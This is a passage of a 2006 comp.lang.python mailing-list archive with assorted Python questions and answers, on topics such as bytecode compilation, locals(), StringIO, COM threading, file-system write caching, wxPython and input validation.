better to take the embedding approach, that is, use a C or C++ core that > calls Python scripts? the embedding approach only makes sense if you 1) have an existing application that you want to extend with Python, or 2) are trying to sneak Python into an exist- ing project (it's just a library, you know ;-). for any other case, putting "Python at the top" is a lot more practical. From sebastien.martini at gmail.com Sat Oct 28 17:07:36 2006 From: sebastien.martini at gmail.com (=?iso-8859-1?q?s=E9bastien_martini?=) Date: 28 Oct 2006 14:07:36 -0700 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees References: <453d4890$0$22566$9b622d9e@news.freenet.de> <1161682522.256752.56630@i42g2000cwa.googlegroups.com> <453E5002.2020402@v.loewis.de> Message-ID: <1162069656.301191.9940@m7g2000cwm.googlegroups.com> Hi, > I was primarily talking about language support. For quite some time, > the compiler package wasn't able to compile the Python standard library, > until Guido van Rossum (and others) brought it back to work at the last > PyCon. It would simply reject certain more recent language constructs. > In the process of fixing it, it was also found to deviate from the > normal language definition, i.e. it would generate bad code. > > Many of these are fixed, but it wouldn't surprise me if there are > still bugs remaining. I don't know if it can hide some bugs or if the module has just never been updated to support this bytecode but LIST_APPEND is never emitted. In the module compiler, list comprehensions are implemented without emitting this bytecode, howewer the current implementation seems to be correct from syntax and execution point of view. For example: >>> src = "[a for a in range(3)]" >>> co = compiler.compile(src, 'lc1', 'exec') >>> co at 0x404927b8, file "lc1", line 1> >>> dis.dis(co) 1 0 BUILD_LIST 0 3 DUP_TOP 4 LOAD_ATTR 0 (append) 7 STORE_NAME 1 ($append0) 10 LOAD_NAME 2 (range) 13 LOAD_CONST 1 (3) 16 CALL_FUNCTION 1 19 GET_ITER >> 20 FOR_ITER 16 (to 39) 23 STORE_NAME 3 (a) 26 LOAD_NAME 1 ($append0) 29 LOAD_NAME 3 (a) 32 CALL_FUNCTION 1 35 POP_TOP 36 JUMP_ABSOLUTE 20 >> 39 DELETE_NAME 1 ($append0) 42 POP_TOP 43 LOAD_CONST 0 (None) 46 RETURN_VALUE >>> co2 = compile(src, 'lc2', 'exec') >>> co2 at 0x40492770, file "lc2", line 1> >>> dis.dis(co2) 1 0 BUILD_LIST 0 3 DUP_TOP 4 STORE_NAME 0 (_[1]) 7 LOAD_NAME 1 (range) 10 LOAD_CONST 0 (3) 13 CALL_FUNCTION 1 16 GET_ITER >> 17 FOR_ITER 13 (to 33) 20 STORE_NAME 2 (a) 23 LOAD_NAME 0 (_[1]) 26 LOAD_NAME 2 (a) 29 LIST_APPEND 30 JUMP_ABSOLUTE 17 >> 33 DELETE_NAME 0 (_[1]) 36 POP_TOP 37 LOAD_CONST 1 (None) 40 RETURN_VALUE Cordially, s?bastien martini -- http://seb.dbzteam.com From onurb at xiludom.gro Wed Oct 25 05:03:07 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 11:03:07 +0200 Subject: return same type of object In-Reply-To: References: <453e26bf$0$21879$426a74cc@news.free.fr> <453e8f03$0$31941$426a74cc@news.free.fr> Message-ID: <453f284d$0$29358$426a74cc@news.free.fr> Steve Holden wrote: > Bruno Desthuilliers wrote: >> David Isaac a ?crit : > [...] >> >>> But Steve suggests going with the latter. >> >> >> That's what I'd do too a priori. >> > Believe it or not, I wasn't at the priory when I wrote that. Steve, if it's a pun, I'm afraid I just don't get it... > Sorry. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From gherron at islandtraining.com Thu Oct 5 23:07:29 2006 From: gherron at islandtraining.com (Gary Herron) Date: Thu, 05 Oct 2006 20:07:29 -0700 Subject: printing variables In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> Message-ID: <4525C871.1090408@islandtraining.com> s99999999s2003 at yahoo.com wrote: > hi > say i have variables like these > > var1 = "blah" > var2 = "blahblah" > var3 = "blahblahblah" > var4 = "...." > var5 = "...".. > > bcos all the variable names start with "var", is there a way to > conveniently print those variables out... > eg print var* ?? > i don't want to do : > > print var1, var2, var3, var4 ......etc... > thanks > > If you really don't want an array (list, or tuple) of these (i.e., var[1], var[2], var[3], ...), then you can get at a dictionary that contains all the local variables -- names and values -- like this: >>> var1 = "blah" >>> var2 = "blahblah" >>> var3 = "blahblahblah" >>> var4 = "...." >>> locals() {'var4': '....', 'var1': 'blah', 'var3': 'blahblahblah', 'var2': 'blahblah', '__builtins__': , '__file__': '/home/gherron/.startup.py', '__name__': '__main__', '__doc__': None} >>> for v,k in locals().items(): ... if v.startswith('var'): ... print k ... .... blah blahblahblah blahblah >>> Gary Herron From me at privacy.net Sun Oct 15 21:52:02 2006 From: me at privacy.net (Dan Sommers) Date: Sun, 15 Oct 2006 21:52:02 -0400 Subject: IDE that uses an external editor? References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se> <17713.9709.575464.630058@montanaro.dyndns.org> <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se> Message-ID: On Sun, 15 Oct 2006 23:34:14 +0200, "Ramon Diaz-Uriarte" wrote: > ... I guess, though, that this is very personal ... Absolutely. > ... and that I might be missing the point of Eclipse (and I don't do > any Java programming). The point of Eclipse is to lessen the burden imposed by Java. :-/ (I can say that now that they've been making me write Java at work for a few months. Without starting a language flamewar, I can definitely understand why the Java folks are so into their IDEs while us Python folks can get along as well or better with grep and a decent REPL.) Regards, Dan -- Dan Sommers "I wish people would die in alphabetical order." -- My wife, the genealogist From juho.schultz at pp.inet.fi Thu Oct 5 12:55:31 2006 From: juho.schultz at pp.inet.fi (Juho Schultz) Date: 5 Oct 2006 09:55:31 -0700 Subject: user modules In-Reply-To: References: Message-ID: <1160067331.530002.178270@h48g2000cwc.googlegroups.com> Cameron Walsh wrote: > Hi, > > I'm writing a python program to analyse and export volumetric data. To > make development and extension easier, and to make it more useful to the > public when it is released (LGPL), I would like to enable users to place > their own python files in a "user_extensions" directory. These files > would implement a common interface in order for the main program to be > able to read them and execute the necessary code. > > My question is what is the best way of implementing this? > > I have investigated importing them as modules, but unless the user > modifies the main program I cannot see how the main program can learn of > the existence of specific modules. > One simple solution would be a shell script that adds user_extensions (or whatever) to $PYTHONPATH and then starts your main program. From tejovathi.p at gmail.com Thu Oct 12 21:34:46 2006 From: tejovathi.p at gmail.com (Teja) Date: 12 Oct 2006 18:34:46 -0700 Subject: COM and Threads Message-ID: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> I have an application which uses COM 's Dispatch to create a COM based object. Now I need to upgrade the application to a threaded one. But its giving an error that COM and threads wont go together. Specifically its an attribute error at the point where COM object is invoked. Any pointers please?????? From steve at holdenweb.com Mon Oct 30 05:57:18 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 30 Oct 2006 10:57:18 +0000 Subject: [wxPython] wxFrame don't have Bind attribute ?? In-Reply-To: <1162189869.503325.51280@b28g2000cwb.googlegroups.com> References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com> Message-ID: Jia Lu wrote: > Hi all > I am using wxPy 2.6.3.2-2, But when run an application with self.Bind > , I got an error that there is no Bind. > > How can I fix it. thanx > Perhaps you could show us the code that's failing, with the traceback - even better, use the knowledge you have already gained to write a *short* program that exhibits the same failure. Then post the code and the traceback. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From duncan.booth at invalid.invalid Fri Oct 6 06:09:14 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 6 Oct 2006 10:09:14 GMT Subject: Why do this? References: Message-ID: Corrado Gioannini wrote: > I often do things like this: > > sql = a_complex_select_sql % (id_foo, value_bar, ...) > cursor.execute(sql) > > inside the body of a function (or a class method), where > a_complex_select_sql is a string, containing several %s, %d ecc., > that is defined globally (or somewhere else in the class). > I hope you have a good reason why you don't do: cursor.execute(a_complex_select_sql, (id_foo, value_bar, ...)) instead. From russandheather at gmail.com Wed Oct 11 12:28:23 2006 From: russandheather at gmail.com (Russell Warren) Date: 11 Oct 2006 09:28:23 -0700 Subject: Funky file contents when os.rename or os.remove are interrupted In-Reply-To: <452C78C8.9080305@v.loewis.de> References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com> <452C78C8.9080305@v.loewis.de> Message-ID: <1160584103.590584.67110@i42g2000cwa.googlegroups.com> Thanks, guys... this has all been very useful information. The machine this is happening on is already running NTFS. The good news is that we just discovered/remembered that there is a write-caching option (in device manager -> HDD -> properties -> Policies tab) available in XP. The note right beside the write-cache-enable checkbox says: "This setting enables write caching to improve disk performance, but a power outage or equipment failure might result in data loss or corruption." Well waddya know... write-caching was enabled on the machine. It is now disabled and we'll be power-cycle testing to see if it happens again. Regarding the comment on journaling file systems, I looked into it and it looks like NTFS actually does do journaling to some extent, and some effort was expended to make NTFS less susceptible to the exact problem I'm experiencing. I'm currently hopeful that the corrupted files we've seen are entirely due to the mistake of having write-caching enabled (the default). > Then, Windows has nothing to do with it, either. It calls the routines > of the file system driver rather directly. It looks like that is not entirely true... this write-caching appears to sit above the file system itself. In any case, it is certainly not a Python issue! One last non-python question... a few things I read seemed to vaguely indicate that the journaling feature of NTFS is an extension/option. Wording could also indicate a simple feature, though. Are there options you can set on your file system (aside from block size and partition)?! I've certainly never heard of that, but want to be sure. I definitely need this system to be as crash-proof as possible. Thanks again, Russ From jstroud at mbi.ucla.edu Mon Oct 9 19:46:30 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Mon, 09 Oct 2006 23:46:30 GMT Subject: 3D Vector Type Line-Drawing Program In-Reply-To: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> Message-ID: James Stroud wrote: > Hello All, > > I'm looking for a program to do line-drawings in 3d, with output to > postscript or svg or pdf, etc. I would like to describe a scene with > certain 1-3d elements oriented in 3d space with dashed or colored lines > and filled or transparent surfaces (or maybe semitransparent). > > I would then like to set the camera and have the scene depicted as a > line drawing (not ray-traced solid body, etc). > > Does anyone know of a library to do this? I'm really looking for a python library. The title of the post is kind of misleading. James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From fredrik at pythonware.com Wed Oct 25 11:21:03 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 17:21:03 +0200 Subject: 255 argument limit? In-Reply-To: <016101c6f837$90060080$0d7d12ac@kearfott.com> References: <016101c6f837$90060080$0d7d12ac@kearfott.com> Message-ID: Michael Yanowitz wrote: > It appears that there is a 255 argument limit in Python 2.4.3? > >>>> packed_data = struct.pack("260i", /... snip .../) ouch. if you need to pass large amounts of data to struct.pack (or any other function), use a sequence: import struct data = range(1000000) packed_data = struct.pack("1000000i", *data) print len(packed_data) # prints 4000000 From Roberto.Bonvallet at cern.ch Wed Oct 25 05:08:32 2006 From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet) Date: Wed, 25 Oct 2006 09:08:32 +0000 (UTC) Subject: dict problem References: Message-ID: Roberto Bonvallet wrote: > Alistair King wrote: >> DS1v = {'C': 6, 'H': 10, 'O': 5} > > Try DS1v['C'] instead of DS1v[C]. > updateDS1v(FCas, C, XDS) > updateDS1v(FHas, H, XDS) > updateDS1v(FOas, O, XDS) > updateDS1v(FNas, N, XDS) > updateDS1v(FSas, S, XDS) > updateDS1v(FClas, Cl, XDS) > updateDS1v(FBras, Br, XDS) > updateDS1v(FZnas, Zn, XDS) > print DS1v Sorry, I hadn't seen this part. Change C, H, O, ... with 'C', 'H', 'O', ... -- Roberto Bonvallet From johnjsal at NOSPAMgmail.com Fri Oct 13 15:24:05 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 13 Oct 2006 19:24:05 GMT Subject: wing ide vs. komodo? In-Reply-To: References: <2nRXg.108$1n3.2866@news.tufts.edu> Message-ID: Theerasak Photha wrote: > On 10/13/06, John Salerno wrote: > >> Komodo, on the other hand, seems to have more of the features that the >> personal version of Wing IDE lacks (call tips, class browser, etc.) but >> the look of it seems very sparse for some reason. > > But that's really a good thing. > > -- Theerasak Yeah, features are more important, and probably you can customize the look of the IDE anyway, so either one can look as full or as bare as you want (I assume). Perhaps I'll give the trials a try myself, just to see, although I know for sure I won't be buying the Pro version of Wing. From me at jonbowlas.com Mon Oct 16 11:52:21 2006 From: me at jonbowlas.com (Jonathan Bowlas) Date: Mon, 16 Oct 2006 16:52:21 +0100 Subject: Convert StringIO to string Message-ID: <028e01c6f13b$111e7110$fde92452@bowlas> Your suggestion didn't seem to make any difference at all, it still returns <script type="text/javascript"> new rss_ticker(gdfgdfg, True, True) </script> Any other ideas? Jon -----Original Message----- From: python-list-bounces+info=jonbowlas.com at python.org [mailto:python-list-bounces+info=jonbowlas.com at python.org] On Behalf Of Rob Williscroft Sent: 16 October 2006 14:37 To: python-list at python.org Subject: Re: Convert StringIO to string Jonathan Bowlas wrote in news:mailman.562.1161001625.11739.python-list at python.org in comp.lang.python: > Hi listers, > > I've written this little script to generate some html but I cannot get > it to convert to a string so I can perform a replace() on the >, > < characters that get returned. > > from StringIO import StringIO > > def generator_file(rsspath,titleintro,tickeropt): > scripter=StringIO() > scripter.write('\n') > return scripter.getvalue() > > I tried adding this: > > scripter = scripter.replace("<", "<") scripter = > scripter.replace(">", ">") > > But obviously replace() isn't an attribute of StringIO so I guess I > need to convert it to a string first, can someone please advise how I > can do this? > How strange, you are already "converting" to a string in the return line (the call to the getvalue() method), so: scripter = scripter.getvalue().replace("<", "<") scripter = scripter.replace(">", ">") return scripter should do what you want. Rob. -- http://www.victim-prime.dsl.pipex.com/ -- http://mail.python.org/mailman/listinfo/python-list From DustanGroups at gmail.com Sat Oct 14 08:35:02 2006 From: DustanGroups at gmail.com (Dustan) Date: 14 Oct 2006 05:35:02 -0700 Subject: Reverse string-formatting (maybe?) Message-ID: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> Is there any builtin function or module with a function similar to my made-up, not-written deformat function as follows? I can't imagine it would be too easy to write, but possible... >>> template = 'I am %s, and he %s last %s.' >>> values = ('coding', "coded', 'week') >>> formatted = template % values >>> formatted 'I am coding, and he coded last week.' >>> deformat(formatted, template) ('coding', 'coded', 'week') expanded (for better visual): >>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s last %s.') ('coding', 'coded', 'week') It would return a tuple of strings, since it has no way of telling what the original type of each item was. Any input? I've looked through the documentation of the string module and re module, did a search of the documentation and a search of this group, and come up empty-handed. From wuwei23 at gmail.com Wed Oct 18 05:01:13 2006 From: wuwei23 at gmail.com (alex23) Date: 18 Oct 2006 02:01:13 -0700 Subject: Wax: problem subclassing TextBox Message-ID: <1161162072.705323.196030@m7g2000cwm.googlegroups.com> Hey everyone, I've just started looking at Wax and have hit a problem I can't explain. I want an app to respond to every character input into a TextBox. Here's a simple, working example: +++ from wax import * class MainFrame(VerticalFrame): def Body(self): self.search = TextBox(self) self.search.OnChar = self.OnChar self.AddComponent(self.search, expand='h', border=5) def OnChar(self, event): print 'OnChar:', event.GetKeyCode() event.Skip() app = Application(MainFrame) app.Run() +++ This displays a TextBox and entering "abcd" results in: OnChar: 97 OnChar: 98 OnChar: 99 OnChar: 100 Rather than defining the OnChar hook on the main frame, though, it makes more sense (to me) to be defined on the TextBox itself, so I tried subclassing it as follows: +++ class NewTextBox(TextBox): def OnChar(self, event): print 'on char', event.GetKeyCode() event.Skip() class MainFrame(VerticalFrame): def Body(self): self.search = NewTextBox(self) self.AddComponent(self.search, expand='h', border=5) +++ With the same input of 'abcd', I get the following: on char 97 on char 97 on char 98 on char 98 on char 99 on char 99 on char 100 on char 100 As I understand it, event.Skip() should propagate the event up the inheritance chain, but I don't see how that would result in NewTextBox.OnChar being called _twice_ for each input. Stopping the event there by removing the event.Skip() does result in only one 'on char XX' line for each character, but also stops _all_ OnChar actions for the TextBox - such as updating the value and displaying it - and I really don't want to have to reimplement the full functionality just to prevent this. Is there something glaringly obvious that I'm doing wrong in the above code? Thanks for any help... - alex23 From gherron at islandtraining.com Mon Oct 2 01:29:22 2006 From: gherron at islandtraining.com (Gary Herron) Date: Sun, 01 Oct 2006 22:29:22 -0700 Subject: strange append In-Reply-To: References: Message-ID: <4520A3B2.7020703@islandtraining.com> E.Nurminski wrote: > Hello to all good people > > I am new to the great Py so am quite puzzled by the following code > > --------------- > > res = [] > x = [ 1, 1 ] > for i in xrange(0,5): > res.append(x) > x[1] = x[1] + 1 > print "x = ", x > print "res = ", res > > --------------- > > Looks like it puts smth like reference to 'x' into 'res' list, instead of > value. But if I want a value should I use a different method or what ? > > Evgeni > > P.S. Could not easily find the issue in the manual/tutorial can you point > me out to smth relevant ? > It's best, in Python, to consider *everything* to be a reference to an object. Most actions will work with a reference to an existing object, and creating a new reference to an object will almost never create a copy of the object. If you *do* want to create an object, you may consider using the copy module: http://docs.python.org/lib/module-copy.html (But I must point out, that in 12 years of programming Python, I've hardly ever used that module.) Gary Herron From Leo.Kislov at gmail.com Mon Oct 23 17:09:39 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 23 Oct 2006 14:09:39 -0700 Subject: encoding of sys.argv ? References: <20061023130504.26823717@autremonde> Message-ID: <1161637779.540394.15440@k70g2000cwa.googlegroups.com> Marc 'BlackJack' Rintsch wrote: > In <20061023130504.26823717 at autremonde>, Jiba wrote: > > > I am desperately searching for the encoding of sys.argv. > > > > I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem. > > sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is > > "utf-8". However, sys.argv is neither in ASCII (since I can pass French > > accentuated character), nor in UTF-8. It seems to be encoded in > > "latin-1", but why ? > > There is no way to determine the encoding. The application that starts > another and sets the arguments can use any encoding it likes and there's > no standard way to find out which it was. There is standard way: nl_langinfo function The code in pythonrun.c properly uses it find out the encoding. The other question if Linux or *BSD distributions confirm to the standard. -- Leo. From fredrik at pythonware.com Fri Oct 20 01:23:40 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 07:23:40 +0200 Subject: Restricting import file lookup for pyd, dll, ... In-Reply-To: <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com> References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com> <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar> <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com> Message-ID: Bernard Lebel wrote: > That's because I'm using Python through another application, via the > pywin32 extensions. When that other application starts, it performs > several thousands of file requests (we're talking 4,500, roughly) in > the Python installation, locations where there are Python files, and > in some other locations that don't make sense. This adds considerable > time to the startup time of the application, we're talking between 2 > and 9 seconds. a plain Python 2.4 interpreter can start, execute a command, and shut down in about 0.13 seconds on my machine. 2.5 does the same thing in 0.10 seconds. are you sure you're benchmarking *Python's* start up time, and not the time it takes to load all the modules used by your application, or the time it takes for "filemon" to print all those 4500 requests to the monitor window? From alexandre.guimond at siemens.com Thu Oct 19 05:23:50 2006 From: alexandre.guimond at siemens.com (Alexandre Guimond) Date: 19 Oct 2006 02:23:50 -0700 Subject: libraries options not split in setup.cfg Message-ID: <1161249830.452323.284180@f16g2000cwb.googlegroups.com> Hi. I just noticed that the "libraries" options under the [build_ext] section in setup.cfg doesn't seem to get expanded. In particular, in distutils.command.build_ext.py of python 2.4. (line147): if type(self.libraries) is StringType: self.libraries = [self.libraries] though library_dirs for example gets split on ';' (line 156) elif type(self.library_dirs) is StringType: self.library_dirs = string.split(self.library_dirs, os.pathsep) is this a bug or am i using the "libraries" option in a wrong way in my setup.cfg libraries = libgsl;libgslcblas (btw, the above gets expanded on windows to "libgsl;libgslcblas.lib" on the cmdline (not splitting on the ';' character). thx for any help. From codecraig at gmail.com Mon Oct 16 10:40:01 2006 From: codecraig at gmail.com (abcd) Date: 16 Oct 2006 07:40:01 -0700 Subject: Strange Behavior In-Reply-To: References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com> Message-ID: <1161009601.471687.279310@m7g2000cwm.googlegroups.com> Rob Williscroft wrote: > http://docs.python.org/ref/function.html#l2h-619 thanks. weird that it works that way since they even state "This is generally not what was intended." oh well. From hanumizzle at gmail.com Fri Oct 6 00:37:20 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 00:37:20 -0400 Subject: How do I put % in a format sting? In-Reply-To: <312cfe2b0610051330l36d16cf4q9a87fbcfacd56815@mail.gmail.com> References: <312cfe2b0610051330l36d16cf4q9a87fbcfacd56815@mail.gmail.com> Message-ID: <463ff4860610052137w6a2a2a79gb7a6ae9039fe5b6f@mail.gmail.com> On 10/5/06, Gregory Pi?ero wrote: > Thanks guys, putting it twice is all it took! This rule holds true for a lot of string formatting conventions. (such as in regexes) -- Theerasak From fredrik at pythonware.com Fri Oct 6 16:19:35 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 22:19:35 +0200 Subject: Iterating over marshal In-Reply-To: <1160163613.346243.128920@m73g2000cwd.googlegroups.com> References: <1160163613.346243.128920@m73g2000cwd.googlegroups.com> Message-ID: Tim Lesher wrote: > I'm using the marshal library to unmarshal a file containing one or > more objects. The canonical way seems to be: > > objs = [] > while 1: > try: > objs.append(marshal.load(fobj)) > except EOFError: > break the canonical way to do this is to put the objects in a sequence container *before* marshalling them. From noway at sorry.com Wed Oct 4 17:18:25 2006 From: noway at sorry.com (Giovanni Bajo) Date: Wed, 04 Oct 2006 21:18:25 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> <1159989157.734840.188430@m7g2000cwm.googlegroups.com> Message-ID: David Goodger wrote: > Go back to the original announcement: > > """ > After evaluating the trackers on several points (issue creation, > querying, etc.), we reached a tie between JIRA and Roundup in terms of > pure tracker features. > """ > > JIRA gets a leg up because of the hosting and administration also > being offered. But... > > """ > If enough people step forward we will notify python-dev that Roundup > should be considered the recommendation of the committee and > graciously > turn down Atlassian's offer. > """ > > That is a perfectly reasonable offer. Put up or shut up. You're cherry picking your quotes: """ In order for Roundup to be considered equivalent in terms of an overall tracker package there needs to be a sufficient number of volunteer admins (roughly 6 - 10 people) who can help set up and maintain the Roundup installation. """ This is *NOT* a perfectly reasonable offer, because you do not see 6-10 people stepping up at the same time for almost *anything* in the open source world. -- Giovanni Bajo From johnjsal at NOSPAMgmail.com Fri Oct 20 10:57:36 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 14:57:36 GMT Subject: proper format for this database table In-Reply-To: <4537e232$0$3280$426a34cc@news.free.fr> References: <4537e232$0$3280$426a34cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > John Salerno a ?crit : >> Hi guys. I was wondering if someone could suggest some possible >> structures for an "Education" table in a database. > > Wrong newsgroup, then. comp.database.* is right next door... > I know, I'm sorry. It's just that this newsgroup server doesn't have any database ngs on it. :( From jeremy+complangpython at jeremysanders.net Mon Oct 30 13:00:44 2006 From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders) Date: Mon, 30 Oct 2006 18:00:44 +0000 Subject: Python 123 introduction References: <1162230329.413075.93370@b28g2000cwb.googlegroups.com> Message-ID: dakman at gmail.com wrote: > This is great! A excellent tutorial for somone who has prior experience > in programming and is starting out in python. My friend keeps wanting > me to teach him python, I think this would be the perfect link for him. I'm glad you think it is useful. It needs a bit of cleaning up as it assumes things such as python being in /usr/local/bin... I may try to improve this later. Jeremy -- Jeremy Sanders http://www.jeremysanders.net/ From bretthoerner at gmail.com Wed Oct 18 12:08:03 2006 From: bretthoerner at gmail.com (Brett Hoerner) Date: 18 Oct 2006 09:08:03 -0700 Subject: Image.draft -- what are the modes that I can use? In-Reply-To: <1161182452.235096.127750@i42g2000cwa.googlegroups.com> References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> <1161179376.827555.239810@i3g2000cwc.googlegroups.com> <1161181585.245045.41680@b28g2000cwb.googlegroups.com> <1161182452.235096.127750@i42g2000cwa.googlegroups.com> Message-ID: <1161187683.319678.174370@m7g2000cwm.googlegroups.com> abcd wrote: > ... Are you sure you can't use VNC? An animated GIF based on full-screen grabs will be amazingly huge and have very low color quality at the same time. Installing VNC on Windows should take you about 30 seconds, honest. Or is this for some sort of project where you can't use anything but CPython software...? Brett Hoerner From jstroud at mbi.ucla.edu Fri Oct 6 18:00:53 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Fri, 06 Oct 2006 22:00:53 GMT Subject: error handling in user input: is this natural or just laborious In-Reply-To: References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> Message-ID: James Stroud wrote: > sam wrote: > >> hi all, >> >> i'm starting to put together a program to simulate the performance of >> an investment portfolio in a monte carlo manner doing x thousand >> iterations and extracting data from the results. >> >> i'm still in the early stages, and am trying to code something simple >> and interactive to get the percentages of the portfolio in the five >> different investment categories. i thought i'd get in with the error >> handling early so if someone types in something wrong (like a word), or >> the numbers don't add up to 100%, the error would be caught immediately >> and the user sent back to the start of the loop. granting that there >> may be better ways of doing this, if i decide that i do want to do it >> like this (i.e. a single error requires all data to be re-entered, not >> unreasonable for only five items), is this a good way of doing it or a >> confusing way of doing it from the perspective of readability and >> maintenance: >> >> while True: >> >> cash, bond, blue, tech, dev = 0,0,0,0,0 >> check=False >> >> try: >> cash=input('Please enter a cash percentage for the portfolio: ') >> except NameError: >> print 'That is not a number. Please start again and remember >> to enter >> integers.' >> else: >> try: >> bond=input('Please enter a bond portfolio for the >> portfolio: ') >> >> except NameError: >> print 'That is not a number. Please start again and >> remember to >> enter integers.' >> else: >> try: >> blue=input('Please enter a blue-chip percentage for >> the portfolio: >> ') >> except NameError: >> print 'That is not a number. Please start again and >> remember to >> enter integers.' >> else: >> try: >> tech=input('Please enter a tech stocks percentage >> for the >> portfolio: ') >> except NameError: >> print 'That is not a number. Please start again >> and remember to >> enter integers.' >> else: >> try: >> dev=input('Please enter a developing countries >> index for the >> portfolio: ') >> check=True >> except NameError: >> print 'That is not a number. Please start >> again and remember to >> enter integers.' >> >> if cash+bond+blue+tech+dev==100: >> break >> if cash+bond+blue+tech+dev!=100 and check!= False: >> print 'Those numbers do not sum to 100. Please start again.' >> >> >> >> i know it's a bit verbose, but it was the nested try clauses i was >> really wondering about. is the code immediate legible to experienced >> python users? or does it look like gibberish at first? >> >> just hoped for some fresh eyes on it. >> >> thanks, >> >> sam >> >> PS making check=True just saves the code from printing 'those numbers >> don't sum to 100' if they haven't all been entered, which looks kind of >> silly. >> > > It looks pretty rough. I think tabs are a very bad idea. Patently. Tabs > should be reserved for tables, for which tabs were named. If they were > meant to be used for indenting, they would have been named "indenters". > > Try blocks in my opinion are a good idea but they need to be done > correctly. You should also consider thinking more in terms of procedural > programming than linear. > > Also, the best way would be by gui. See this book for the best resource > (IMHO) for python gui programming: > > http://www.manning.com/grayson/ > > I think the following is much better technique and is more fun than > laborious to code: > > > def get_pcts(prompts): > prompts = ['gross product', 'repleat divisional', 'sales quota'] > pcts = [get_pct(prompt) for prompt in prompts] > sum_pcts = sum(pcts) > if (sum_pcts > 100.0001) or (sum_pcts < 99.999): > raise ValueError, "Values didn't add to 100." > return pcts > > def get_pct(pct_type): > pct = raw_input('Input percent of %s:' % pct_type) > return float(pct) > > def get_values(): > prompts = ['gross product', 'net outsource', 'sales quota'] > while True: > try: > pcts = get_pcts(prompts) > return dict(zip(prompts, pcts)) > except ValueError, e: > print e > print 'Try again dude.' > > """ > Here's a test > >>> print get_values() > Input percent of gross product:21 > Input percent of repleat divisional:22 > Input percent of sales quota:57 > {'sales quota': 57.0, 'gross product': 21.0, 'net outsource': 22.0} > """ > > James > Oops, I forgot to remove a line in the final code: def get_pcts(prompts): pcts = [get_pct(prompt) for prompt in prompts] sum_pcts = sum(pcts) if (sum_pcts > 100.0001) or (sum_pcts < 99.999): raise ValueError, "Values didn't add to 100." return pcts def get_pct(pct_type): pct = raw_input('Input percent of %s:' % pct_type) return float(pct) def get_values(): prompts = ['gross product', 'net outsource', 'sales quota'] while True: try: pcts = get_pcts(prompts) return dict(zip(prompts, pcts)) except ValueError, e: print e print 'Try again dude.' """ Testing: >>> print get_values() Input percent of gross product:22 Input percent of net outsource:21 Input percent of sales quota:57 {'sales quota': 57.0, 'gross product': 22.0, 'net outsource': 21.0} >>> print get_values() Input percent of gross product:15.1 Input percent of net outsource:88.2 Input percent of sales quota:19.8 Values didn't add to 100. Try again dude. Input percent of gross product:bob invalid literal for float(): bob Try again dude. """ -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From fredrik at pythonware.com Wed Oct 4 01:24:01 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 04 Oct 2006 07:24:01 +0200 Subject: python html rendering In-Reply-To: References: Message-ID: Pierre Imbaud wrote: > I rather thought of some module built on python parser, generating html > or xml, ideally customizable. see "colorizer.py" and "element_colorizer.py" in this directory: http://svn.effbot.python-hosting.com/stuff/sandbox/pythondoc From fredrik at pythonware.com Fri Oct 20 10:53:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 16:53:43 +0200 Subject: list comprehension (searching for onliners) References: <4538C09E.2040408@fmed.uba.ar> <4538C950.1060403@tim.thechases.com> <4538E167.9080408@fmed.uba.ar> Message-ID: Gerardo Herzig wrote: > Thanks a lot dudes, i hope someday ill turn myself into some of you guys > who can actually answer questions ;) if you want to become a good Python programmer, you really need to get over that "I need a oneliner" idea. From johnjsal at 